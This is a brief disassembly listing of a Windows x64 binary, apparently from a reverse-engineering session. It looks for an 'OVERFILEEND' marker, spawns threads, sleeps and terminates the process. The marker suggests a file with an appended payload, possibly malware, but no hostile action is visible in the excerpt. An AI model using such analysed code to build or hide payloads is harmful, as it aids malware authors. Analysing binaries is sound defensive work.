mov rcx, qword [rsp + 0x130]
call fcn.1400657b0
lea rdx, str.OVERFILEEND
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jbe 0x1400068a9
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x130]
lea r8, [0x1400614f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x140], rax
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x3e8
xor edx, edx
mov rcx, qword [rsp + 0x100]
call fcn.140065c00
jmp 0x140006814
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140061750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x148], rax
mov rcx, qword [rsp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x158
ret